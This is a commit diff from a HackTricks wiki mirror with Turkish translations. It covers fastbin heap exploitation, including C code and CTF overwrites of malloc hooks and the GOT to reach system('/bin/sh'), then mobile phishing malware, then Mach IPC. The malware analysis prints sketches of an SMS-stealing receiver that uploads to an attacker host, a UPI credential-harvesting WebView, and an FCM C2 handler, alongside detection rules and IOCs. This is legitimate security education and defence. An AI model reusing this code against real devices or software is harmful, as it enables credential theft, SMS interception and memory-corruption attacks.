mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/cache-deception/README.md', 'src/binary-
This commit is contained in:
parent
eccfa079b4
commit
3bbe0efe3a
@ -10,7 +10,7 @@ Fast bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin:
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Fast bin, tek bağlı bir liste olduğu için diğer binlere göre çok daha az koruma vardır ve sadece **serbest bırakılmış bir fast bin** parçasındaki bir adresi değiştirmek, **herhangi bir bellek adresinde daha sonra bir parça ayırmak için yeterlidir**.
|
||||
Fast bin, tek bağlı bir liste olduğu için diğer binlere göre çok daha az koruma vardır ve sadece **serbest bırakılmış bir fast bin** parçasındaki bir adresi **değiştirmek**, **herhangi bir bellek adresinde daha sonra bir parça ayırmak** için yeterlidir.
|
||||
|
||||
Özetle:
|
||||
```c
|
||||
@ -28,7 +28,7 @@ free(ptr1)
|
||||
ptr2 = malloc(0x20); // This will get ptr1
|
||||
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
|
||||
```
|
||||
Tam bir örneği [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) adresindeki çok iyi açıklanmış kodda bulabilirsiniz:
|
||||
Ayrıntılı bir şekilde açıklanmış bir kodda tam bir örneği [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) bulabilirsiniz:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -124,20 +124,26 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
|
||||
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
|
||||
- Parçaları ayırmak, serbest bırakmak, içeriklerini okumak ve doldurmak (bir taşma açığı ile) mümkündür.
|
||||
- **Bilgi sızıntısı için parçaları birleştirme**: Teknik, temelde taşmayı kötüye kullanarak sahte bir `prev_size` oluşturmak ve böylece bir önceki parçanın daha büyük bir parçanın içine yerleştirilmesini sağlamaktır. Böylece, başka bir parçayı içeren daha büyük bir parça ayırırken, verilerini yazdırmak ve libc'ye bir adres sızdırmak mümkündür (`main_arena+88`).
|
||||
- **malloc hook'unu yazma**: Bunun için, önceki örtüşen durumu kötüye kullanarak, aynı belleğe işaret eden 2 parça elde etmek mümkündü. Bu nedenle, her ikisini de serbest bırakmak (korumaları aşmak için araya başka bir parça serbest bırakarak) hızlı bin içinde aynı parçanın 2 kez bulunmasını sağlamak mümkündü. Ardından, tekrar ayırmak, bir sonraki parçanın adresini `__malloc_hook`'tan biraz önce işaret edecek şekilde yazmak (yani malloc'un serbest boyut olarak düşündüğü bir tamsayıya işaret etmesi - başka bir geçiş), tekrar ayırmak ve ardından malloc hook'larına bir adres alacak başka bir parça ayırmak mümkündü.\
|
||||
- **Bilgi sızıntısı için parçaları birleştirme**: Teknik, temelde taşmayı kötüye kullanarak sahte bir `prev_size` oluşturmak, böylece bir önceki parçanın daha büyük bir parçanın içine yerleştirilmesini sağlamaktır. Böylece, başka bir parçayı içeren daha büyük bir parça ayırırken, verilerini yazdırmak ve libc'ye bir adres sızdırmak mümkündür (`main_arena+88`).
|
||||
- **malloc hook'unu yazma**: Bunun için, önceki örtüşen durumu kötüye kullanarak, aynı belleğe işaret eden 2 parça elde etmek mümkündü. Bu nedenle, her ikisini de serbest bırakmak (korumaları aşmak için araya başka bir parça serbest bırakarak) hızlı bin içinde aynı parçanın 2 kez bulunmasını sağlamak mümkündü. Ardından, tekrar ayırmak, bir sonraki parçanın adresini `__malloc_hook`'tan biraz önce işaret edecek şekilde yazmak (yani malloc'un serbest boyut olarak düşündüğü bir tamsayıya işaret etmesi - başka bir atlatma), tekrar ayırmak ve malloc hook'larına bir adres alacak başka bir parça ayırmak mümkündü.\
|
||||
Sonunda oraya bir **one gadget** yazıldı.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
|
||||
- Bir yığın taşması ve serbest bırakıldıktan sonra kullanma ve çift serbest bırakma durumu vardır çünkü bir parça serbest bırakıldığında, işaretçileri yeniden kullanmak ve yeniden serbest bırakmak mümkündür.
|
||||
- **Libc bilgi sızıntısı**: Bazı parçaları serbest bırakın ve bunlar ana arena konumunun bir kısmına işaret eden bir işaretçi alacaklardır. Serbest bırakılan işaretçileri yeniden kullanabildiğiniz için, bu adresi okuyun.
|
||||
- **Hızlı bin saldırısı**: Tüm tahsisat işaretçileri bir dizi içinde saklanır, bu nedenle birkaç hızlı bin parçasını serbest bırakabiliriz ve sonuncusunda bu işaretçilerin dizisine işaret eden adresi yazabiliriz. Ardından, aynı boyutta birkaç parça ayırın ve önce geçerli olanı, ardından işaretçi dizisini içeren sahte olanı alacağız. Artık bu tahsisat işaretçilerini `free`'nin GOT adresini `system`'a işaret edecek şekilde yazabiliriz ve ardından `"/bin/sh"`'yi parça 1'e yazarak `free(chunk1)` çağrısını yapabiliriz; bu, bunun yerine `system("/bin/sh")`'yi çalıştıracaktır.
|
||||
- **Hızlı bin saldırısı**: Tüm tahsisat işaretçileri bir dizi içinde saklanır, bu nedenle birkaç hızlı bin parçasını serbest bırakabiliriz ve sonuncusunda bu işaretçilerin dizisine işaret eden adresi yazabiliriz. Ardından, aynı boyutta birkaç parça ayırın ve önce geçerli olanı, ardından işaretçi dizisini içeren sahte olanı alacağız. Artık bu tahsisat işaretçilerini `free`'nin GOT adresini `system`'a işaret edecek şekilde yazabiliriz ve ardından `"/bin/sh"`'yi parça 1'e yazarak `free(chunk1)` çağrısı yapabiliriz ki bu da `system("/bin/sh")`'yi çalıştıracaktır.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Sıralanmamış bin içinde parçaları birleştirmek için bir bayt taşmasını kötüye kullanarak bir libc bilgi sızıntısı elde etme ve ardından malloc hook'unu bir one gadget adresi ile yazma örneği.
|
||||
- Sıralanmamış bin içinde parçaları birleştirmek için bir byte taşmasını kötüye kullanarak libc bilgi sızıntısı elde etme ve ardından malloc hook'unu bir gadget adresi ile yazma örneği.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
|
||||
- Bir bilgi sızıntısından sonra, bir UAF ile sıralanmamış binin kötüye kullanılmasıyla bir libc adresi ve bir PIE adresi sızdırıldı, bu CTF'nin istismarı, kontrol edilen parçaların işaretçilerine sahip olduğu bir yerde bir parça ayırmak için hızlı bin saldırısını kullandı, böylece belirli işaretçileri yazmak için bir one gadget'ı GOT'a yazmak mümkün oldu.
|
||||
- Bir bilgi sızıntısından sonra, sıralanmamış bin ile bir UAF kullanarak bir libc adresi ve bir PIE adresi sızdırıldı, bu CTF'nin istismarı, kontrol edilen parçaların işaretçilerine sahip olduğu bir yerde bir parça ayırmak için hızlı bin saldırısını kullandı, böylece belirli işaretçileri yazmak için bir gadget'ı GOT'a yazmak mümkün oldu.
|
||||
- Sıralanmamış bin saldırısı aracılığıyla kötüye kullanılan bir Hızlı Bin saldırısı bulabilirsiniz:
|
||||
- Hızlı bin saldırıları gerçekleştirmeden önce, libc/yığın adreslerini sızdırmak için serbest listeyi kötüye kullanmanın yaygın olduğunu unutmayın (gerekirse).
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- Sadece `0x100`'den büyük boyutlarda parçalar ayırabiliriz.
|
||||
- Bir Sıralanmamış Bin saldırısı kullanarak `global_max_fast`'ı yazın (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 bit değiştirmemiz gerekir, ancak 16 bit değiştirmeliyiz).
|
||||
- Hızlı Bin saldırısı, bir küresel parça dizisini değiştirmek için. Bu, GOT'u değiştirme ve bazı işlevleri `system`'a işaret edecek şekilde ayarlama imkanı veren keyfi bir okuma/yazma ilkesidir.
|
||||
- Bir Sıralanmamış Bin saldırısı kullanarak `global_max_fast`'ı yazın (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 bit değiştirmemiz gerekir, ancak 16 bit değiştirmemiz gerekir).
|
||||
- Hızlı Bin saldırısı, bir dizi parçayı değiştirmek için. Bu, GOT'u değiştirme ve bazı işlevleri `system`'a işaret edecek şekilde ayarlama imkanı veren keyfi bir okuma/yazma ilkesidir.
|
||||
|
||||
{{#ref}}
|
||||
unsorted-bin-attack.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,15 +1,15 @@
|
||||
# Mobil Phishing & Kötü Amaçlı Uygulama Dağıtımı (Android & iOS)
|
||||
# Mobil Phishing ve Kötü Amaçlı Uygulama Dağıtımı (Android & iOS)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!INFO]
|
||||
> Bu sayfa, tehdit aktörlerinin **kötü amaçlı Android APK'ları** ve **iOS mobil yapılandırma profilleri** dağıtmak için kullandığı teknikleri ele almaktadır (phishing, SEO, sosyal mühendislik, sahte mağazalar, flört uygulamaları vb.).
|
||||
> Bu sayfa, tehdit aktörlerinin **kötü amaçlı Android APK'ları** ve **iOS mobil yapılandırma profilleri** dağıtmak için kullandığı teknikleri kapsar (phishing (SEO, sosyal mühendislik, sahte mağazalar, flört uygulamaları vb.)).
|
||||
> Materyal, Zimperium zLabs tarafından ifşa edilen SarangTrap kampanyasından (2025) ve diğer kamu araştırmalarından uyarlanmıştır.
|
||||
|
||||
## Saldırı Akışı
|
||||
|
||||
1. **SEO/Phishing Altyapısı**
|
||||
* Benzer alan adlarını (flört, bulut paylaşımı, araç servisi…) kaydedin.
|
||||
* Benzer görünümlü alan adlarını (flört, bulut paylaşımı, araç servisi…) kaydedin.
|
||||
– Google'da sıralamak için `<title>` öğesinde yerel dil anahtar kelimeleri ve emojiler kullanın.
|
||||
– *Hem* Android (`.apk`) hem de iOS kurulum talimatlarını aynı açılış sayfasında barındırın.
|
||||
2. **İlk Aşama İndirme**
|
||||
@ -19,19 +19,19 @@
|
||||
* Uygulama ilk çalıştırıldığında **davetiye / doğrulama kodu** ister (özel erişim yanılsaması).
|
||||
* Kod, Komut ve Kontrol (C2) sunucusuna **HTTP üzerinden POST edilir**.
|
||||
* C2 `{"success":true}` yanıtı verir ➜ kötü amaçlı yazılım devam eder.
|
||||
* Geçerli bir kod göndermeyen Sandbox / AV dinamik analizi **kötü amaçlı davranış görmez** (kaçış).
|
||||
4. **Çalışma Zamanı İzin İhlali** (Android)
|
||||
* Geçerli bir kod göndermeyen Sandbox / AV dinamik analizi **kötü amaçlı davranış** görmez (kaçış).
|
||||
4. **Çalışma Zamanı İzin Suistimali** (Android)
|
||||
* Tehlikeli izinler yalnızca **pozitif C2 yanıtından sonra** istenir:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- Eski sürümler ayrıca SMS izinlerini de isterdi -->
|
||||
<!-- Eski sürümler ayrıca SMS izinleri de isterdi -->
|
||||
```
|
||||
* Son varyantlar, `AndroidManifest.xml` dosyasından SMS için `<uses-permission>` **kaldırır** ancak SMS'i yansıma yoluyla okuyan Java/Kotlin kod yolunu bırakır ⇒ izin veren cihazlarda `AppOps` istismarı veya eski hedefler üzerinden işlevsel kalırken statik puanı düşürür.
|
||||
5. **Facade UI & Arka Plan Toplama**
|
||||
* Son varyantlar, `AndroidManifest.xml` dosyasından SMS için **`<uses-permission>` kaldırır** ancak SMS'i yansıma yoluyla okuyan Java/Kotlin kod yolunu bırakır ⇒ izin veren cihazlarda hala işlevsel kalırken statik puanı düşürür.
|
||||
5. **Facade UI ve Arka Plan Toplama**
|
||||
* Uygulama, yerel olarak uygulanan zararsız görünümler (SMS görüntüleyici, galeri seçici) gösterir.
|
||||
* Bu arada, aşağıdakileri dışarı sızdırır:
|
||||
* Bu arada, aşağıdakileri dışarı aktarır:
|
||||
- IMEI / IMSI, telefon numarası
|
||||
- Tam `ContactsContract` dökümü (JSON dizisi)
|
||||
- Boyutunu azaltmak için [Luban](https://github.com/Curzibn/Luban) ile sıkıştırılmış JPEG/PNG dosyaları `/sdcard/DCIM`'den
|
||||
@ -40,24 +40,24 @@ Yükler **toplu olarak ziplenir** ve `HTTP POST /upload.php` üzerinden gönderi
|
||||
6. **iOS Dağıtım Tekniği**
|
||||
* Tek bir **mobil yapılandırma profili**, cihazı “MDM” benzeri denetim altına almak için `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` vb. isteyebilir.
|
||||
* Sosyal mühendislik talimatları:
|
||||
1. Ayarları açın ➜ *Profil indirildi*.
|
||||
1. Ayarları Aç ➜ *Profil indirildi*.
|
||||
2. *Yükle* butonuna üç kez dokunun (phishing sayfasındaki ekran görüntüleri).
|
||||
3. İmzasız profili güvenilir kılın ➜ saldırgan *Kişiler* & *Fotoğraf* yetkisini App Store incelemesi olmadan kazanır.
|
||||
3. İmzalanmamış profili güvenilir kılın ➜ saldırgan *Kişiler* ve *Fotoğraf* yetkisini App Store incelemesi olmadan kazanır.
|
||||
7. **Ağ Katmanı**
|
||||
* Düz HTTP, genellikle `api.<phishingdomain>.com` gibi HOST başlığı ile 80 numaralı portta.
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (TLS yok → kolayca tespit edilir).
|
||||
|
||||
## Savunma Testi / Kırmızı Takım İpuçları
|
||||
|
||||
* **Dinamik Analiz Kaçışı** – Kötü amaçlı yazılım değerlendirmesi sırasında, davetiye kodu aşamasını Frida/Objection ile otomatikleştirerek kötü amaçlı dalga ulaşın.
|
||||
* **Manifest vs. Çalışma Zamanı Farkı** – `aapt dump permissions` ile çalışma zamanı `PackageManager#getRequestedPermissions()`'ı karşılaştırın; tehlikeli izinlerin eksik olması bir kırmızı bayraktır.
|
||||
* **Dinamik Analiz Kaçışı** – Kötü amaçlı yazılım değerlendirmesi sırasında, davetiye kodu aşamasını Frida/Objection ile otomatikleştirerek kötü amaçlı dalı ulaşın.
|
||||
* **Manifest ile Çalışma Zamanı Farkı** – `aapt dump permissions` ile çalışma zamanı `PackageManager#getRequestedPermissions()`'ı karşılaştırın; tehlikeli izinlerin eksik olması bir kırmızı bayraktır.
|
||||
* **Ağ Canary** – Kod girişi sonrası sağlam POST patlamalarını tespit etmek için `iptables -p tcp --dport 80 -j NFQUEUE` yapılandırın.
|
||||
* **mobileconfig İncelemesi** – `security cms -D -i profile.mobileconfig` komutunu macOS'ta kullanarak `PayloadContent`'i listeleyin ve aşırı yetkileri tespit edin.
|
||||
* **mobileconfig İncelemesi** – `security cms -D -i profile.mobileconfig` komutunu macOS'ta kullanarak `PayloadContent` listesini çıkarın ve aşırı yetkileri tespit edin.
|
||||
|
||||
## Mavi Takım Tespit Fikirleri
|
||||
|
||||
* **Sertifika Şeffaflığı / DNS Analitiği** aniden anahtar kelime açısından zengin alan adlarının patlamalarını yakalamak için.
|
||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik istemcilerinden Google Play dışında.
|
||||
* **User-Agent ve Yol Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik istemcilerinden Google Play dışında.
|
||||
* **Davet Kodu Telemetresi** – APK kurulumu sonrası kısa bir süre içinde 6–8 haneli sayısal kodların POST edilmesi, sahneleme göstergesi olabilir.
|
||||
* **MobileConfig İmzalama** – İmzalanmamış yapılandırma profillerini MDM politikası aracılığıyla engelleyin.
|
||||
|
||||
@ -86,9 +86,127 @@ return conn;
|
||||
/upload.php # batched ZIP exfiltration
|
||||
LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
---
|
||||
|
||||
## Android WebView Ödeme Phishing (UPI) – Dropper + FCM C2 Deseni
|
||||
|
||||
Bu desen, Hindistan'daki UPI kimlik bilgilerini ve OTP'leri çalmak için hükümet yardımı temalarını kötüye kullanan kampanyalarda gözlemlenmiştir. Operatörler, teslimat ve dayanıklılık için güvenilir platformları zincirler.
|
||||
|
||||
### Güvenilir platformlar arasında teslimat zinciri
|
||||
- YouTube video tuzağı → açıklama kısa bir bağlantı içeriyor
|
||||
- Kısa bağlantı → gerçek portalı taklit eden GitHub Pages phishing sitesi
|
||||
- Aynı GitHub deposu, dosyaya doğrudan bağlantı veren sahte “Google Play” rozeti ile bir APK barındırıyor
|
||||
- Dinamik phishing sayfaları Replit'te yaşıyor; uzaktan komut kanalı Firebase Cloud Messaging (FCM) kullanıyor
|
||||
|
||||
### Gömülü yük ve çevrimdışı kurulum ile Dropper
|
||||
- İlk APK, gerçek kötü amaçlı yazılımı `assets/app.apk` konumunda gönderen bir yükleyicidir (dropper) ve kullanıcıdan bulut tespitini azaltmak için Wi‑Fi/mobil veriyi devre dışı bırakmasını ister.
|
||||
- Gömülü yük, masum bir etiket altında (örneğin, “Güvenli Güncelleme”) kurulur. Kurulumdan sonra, hem yükleyici hem de yük ayrı uygulamalar olarak mevcuttur.
|
||||
|
||||
Statik triage ipucu (gömülü yükler için grep):
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### Kısa bağlantı aracılığıyla dinamik uç nokta keşfi
|
||||
- Kötü amaçlı yazılım, bir kısa bağlantıdan düz metin, virgülle ayrılmış canlı uç noktalar listesini alır; basit dize dönüşümleri nihai phishing sayfası yolunu üretir.
|
||||
|
||||
Örnek (temizlenmiş):
|
||||
```
|
||||
GET https://rebrand.ly/dclinkto2
|
||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||
Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||
```
|
||||
Pseudo-kod:
|
||||
```java
|
||||
String csv = httpGet(shortlink);
|
||||
String[] parts = csv.split(",");
|
||||
String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### WebView tabanlı UPI kimlik bilgisi toplama
|
||||
- “₹1 / UPI‑Lite ödemesi yap” adımı, bir WebView içindeki dinamik uç noktadan bir saldırgan HTML formunu yükler ve hassas alanları (telefon, banka, UPI PIN) yakalar; bu bilgiler `addup.php`'ye `POST` edilir.
|
||||
|
||||
Minimal yükleyici:
|
||||
```java
|
||||
WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### Kendiliğinden yayılma ve SMS/OTP kesme
|
||||
- İlk çalıştırmada agresif izinler talep edilir:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- Kurbanın cihazından toplu olarak smishing SMS göndermek için kişiler döngüye alınıyor.
|
||||
- Gelen SMS'ler bir yayın alıcısı tarafından engelleniyor ve `/addsm.php` adresine meta verilerle (gönderen, içerik, SIM yuvası, cihaza özgü rastgele ID) yükleniyor.
|
||||
|
||||
Receiver sketch:
|
||||
```java
|
||||
public void onReceive(Context c, Intent i){
|
||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||
for (SmsMessage m: msgs){
|
||||
postForm(urlAddSms, new FormBody.Builder()
|
||||
.add("senderNum", m.getOriginatingAddress())
|
||||
.add("Message", m.getMessageBody())
|
||||
.add("Slot", String.valueOf(getSimSlot(i)))
|
||||
.add("Device rand", getOrMakeDeviceRand(c))
|
||||
.build());
|
||||
}
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) dayanıklı C2 olarak
|
||||
- Yük, FCM'ye kaydolur; itme mesajları, eylemleri tetiklemek için bir anahtar olarak kullanılan bir `_type` alanı taşır (örneğin, phishing metin şablonlarını güncelleme, davranışları değiştirme).
|
||||
|
||||
Örnek FCM yükü:
|
||||
```json
|
||||
{
|
||||
"to": "<device_fcm_token>",
|
||||
"data": {
|
||||
"_type": "update_texts",
|
||||
"template": "New subsidy message..."
|
||||
}
|
||||
}
|
||||
```
|
||||
Handler taslağı:
|
||||
```java
|
||||
@Override
|
||||
public void onMessageReceived(RemoteMessage msg){
|
||||
String t = msg.getData().get("_type");
|
||||
switch (t){
|
||||
case "update_texts": applyTemplate(msg.getData().get("template")); break;
|
||||
case "smish": sendSmishToContacts(); break;
|
||||
// ... more remote actions
|
||||
}
|
||||
}
|
||||
```
|
||||
### Avlanma desenleri ve IOC'ler
|
||||
- APK, `assets/app.apk`'de ikincil yük içerir
|
||||
- WebView, `gate.htm`'den ödeme yükler ve `/addup.php`'ye dışarı sızdırır
|
||||
- SMS dışarı sızdırma `/addsm.php`'ye
|
||||
- Kısa bağlantı ile yapı alma (örneğin, `rebrand.ly/*`) CSV uç noktaları döndürür
|
||||
- Genel "Güncelleme/Güvenli Güncelleme" olarak etiketlenmiş uygulamalar
|
||||
- Güvenilmeyen uygulamalarda `_type` ayırıcı ile FCM `data` mesajları
|
||||
|
||||
### Tespit ve savunma fikirleri
|
||||
- Kullanıcılara kurulum sırasında ağı devre dışı bırakmalarını söyleyen ve ardından `assets/`'den ikinci bir APK yükleyen uygulamaları işaretleyin.
|
||||
- İzin demeti üzerinde uyarı: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView tabanlı ödeme akışları.
|
||||
- Kurumsal olmayan ana bilgisayarlarda `POST /addup.php|/addsm.php` için çıkış izleme; bilinen altyapıyı engelleyin.
|
||||
- Mobil EDR kuralları: FCM için kayıtlı güvenilmeyen uygulama ve `_type` alanına göre dallanma.
|
||||
|
||||
---
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [Romantizmin Karanlık Yüzü: SarangTrap Şantaj Kampanyası](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android görüntü sıkıştırma kütüphanesi](https://github.com/Curzibn/Luban)
|
||||
- [Android Kötü Amaçlı Yazılımı, Finansal Verileri Çalmak İçin Enerji Sübvansiyonu Vaadi (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||
- [Firebase Cloud Messaging — Belgeler](https://firebase.google.com/docs/cloud-messaging)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -8,30 +8,30 @@
|
||||
|
||||
Mach, kaynakları paylaşmak için **en küçük birim** olarak **görevleri** kullanır ve her görev **birden fazla iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları, POSIX süreçleri ve iş parçacıkları ile 1:1 eşlenir**.
|
||||
|
||||
Görevler arasındaki iletişim, tek yönlü iletişim kanallarını kullanarak Mach Araçlar Arası İletişim (IPC) aracılığıyla gerçekleşir. **Mesajlar, çekirdek tarafından yönetilen türden **mesaj kuyrukları** olan portlar arasında aktarılır.
|
||||
Görevler arasındaki iletişim, tek yönlü iletişim kanallarını kullanarak Mach Araçlar Arası İletişim (IPC) aracılığıyla gerçekleşir. **Mesajlar, çekirdek tarafından yönetilen türde **mesaj kuyrukları** işlevi gören portlar arasında aktarılır.
|
||||
|
||||
Bir **port**, Mach IPC'nin **temel** unsurudur. Mesaj göndermek ve almak için kullanılabilir.
|
||||
|
||||
Her sürecin bir **IPC tablosu** vardır; burada **sürecin mach portlarını** bulmak mümkündür. Bir mach portunun adı aslında bir numaradır (çekirdek nesnesine bir işaretçi).
|
||||
|
||||
Bir süreç, bazı haklarla birlikte bir port adını **farklı bir göreve** de gönderebilir ve çekirdek, bu girişi **diğer görevin IPC tablosunda** görünür hale getirir.
|
||||
Bir süreç, bazı haklarla birlikte bir port adını **farklı bir göreve** gönderebilir ve çekirdek, bu girişi **diğer görevin IPC tablosunda** görünür hale getirir.
|
||||
|
||||
### Port Hakları
|
||||
|
||||
Bir görevin gerçekleştirebileceği işlemleri tanımlayan port hakları, bu iletişim için anahtardır. Olası **port hakları** şunlardır ([tanımlar buradan](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **Alma hakkı**, portta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da sistemde her port için yalnızca **bir alma hakkı** olabileceği anlamına gelir (bir boru ile, birden fazla süreç bir borunun okuma ucuna dosya tanımlayıcıları tutabilir).
|
||||
- **Alma hakkı**, portta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da demektir ki, sistemde her port için yalnızca **bir alma hakkı** olabilir (bir boru ile, birden fazla süreç bir borunun okuma ucuna dosya tanımlayıcıları tutabilirken).
|
||||
- **Alma** hakkına sahip bir **görev**, mesaj alabilir ve **Gönderme hakları** oluşturabilir, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi, portu üzerinde Alma hakkına** sahiptir.
|
||||
- Alma hakkının sahibi **ölür** veya onu öldürürse, **gönderme hakkı işe yaramaz hale gelir (ölü ad).**
|
||||
- **Gönderme hakkı**, portta mesaj göndermeyi sağlar.
|
||||
- Gönderme hakkı **kopyalanabilir**, böylece bir Gönderme hakkına sahip bir görev, hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**.
|
||||
- **Port haklarının** ayrıca Mac mesajları aracılığıyla **geçirilebileceğini** unutmayın.
|
||||
- Gönderme hakkı **kopyalanabilir**, böylece bir Görev, bir Gönderme hakkını kopyalayabilir ve **üçüncü bir göreve verebilir**.
|
||||
- **Port hakları**, Mac mesajları aracılığıyla da **geçirilebilir**.
|
||||
- **Bir kez gönderme hakkı**, portta bir mesaj göndermeyi sağlar ve ardından kaybolur.
|
||||
- Bu hak **kopyalanamaz**, ancak **taşınabilir**.
|
||||
- **Port set hakkı**, tek bir port yerine bir _port setini_ belirtir. Bir port setinden bir mesajın çıkarılması, içerdiği portlardan birinden bir mesajın çıkarılması anlamına gelir. Port setleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birden fazla portta aynı anda dinlemek için kullanılabilir.
|
||||
- **Port set hakkı**, tek bir port yerine bir _port setini_ belirtir. Bir port setinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarmak anlamına gelir. Port setleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi birden fazla portta aynı anda dinlemek için kullanılabilir.
|
||||
- **Ölü ad**, gerçek bir port hakkı değildir, sadece bir yer tutucudur. Bir port yok edildiğinde, port için mevcut tüm port hakları ölü adlara dönüşür.
|
||||
|
||||
**Görevler, diğerlerine GÖNDER haklarını aktarabilir**, böylece geri mesaj gönderebilirler. **GÖNDER hakları ayrıca kopyalanabilir, böylece bir görev hakkı çoğaltabilir ve üçüncü bir göreve verebilir**. Bu, **bootstrap sunucusu** olarak bilinen bir ara süreçle birleştirildiğinde, görevler arasında etkili iletişim sağlar.
|
||||
**Görevler, diğerlerine GÖNDER hakları aktarabilir**, böylece geri mesaj gönderebilirler. **GÖNDER hakları da kopyalanabilir, böylece bir görev, hakkı çoğaltabilir ve üçüncü bir göreve verebilir**. Bu, **bootstrap sunucusu** olarak bilinen bir ara süreçle birleştirildiğinde, görevler arasında etkili iletişim sağlar.
|
||||
|
||||
### Dosya Portları
|
||||
|
||||
@ -47,25 +47,25 @@ Bunun için **bootstrap sunucusu** (**launchd** mac'te) devreye girer; çünkü
|
||||
2. Görev **A**, ALMA hakkının sahibi olarak, **port için bir GÖNDER hakkı oluşturur**.
|
||||
3. Görev **A**, **bootstrap sunucusu ile bir bağlantı** kurar ve **başlangıçta oluşturduğu port için GÖNDER hakkını** ona gönderir.
|
||||
- Unutmayın ki herkes bootstrap sunucusuna bir GÖNDER hakkı alabilir.
|
||||
4. Görev A, bootstrap sunucusuna **verilen portu bir adla ilişkilendirmek için** `bootstrap_register` mesajı gönderir, örneğin `com.apple.taska`.
|
||||
5. Görev **B**, **bootstrap sunucusu ile etkileşime geçerek** bir bootstrap **hizmet adı için arama** yapar (`bootstrap_lookup`). Bootstrap sunucusu yanıt verebilmesi için, görev B, arama mesajı içinde daha önce oluşturduğu bir port için **GÖNDER hakkını** ona gönderir. Arama başarılı olursa, **sunucu, Görev A'dan aldığı GÖNDER hakkını** çoğaltır ve **Görev B'ye iletir**.
|
||||
4. Görev A, bootstrap sunucusuna `bootstrap_register` mesajı gönderir ve **verilen portu bir ad ile ilişkilendirir** (örneğin `com.apple.taska`).
|
||||
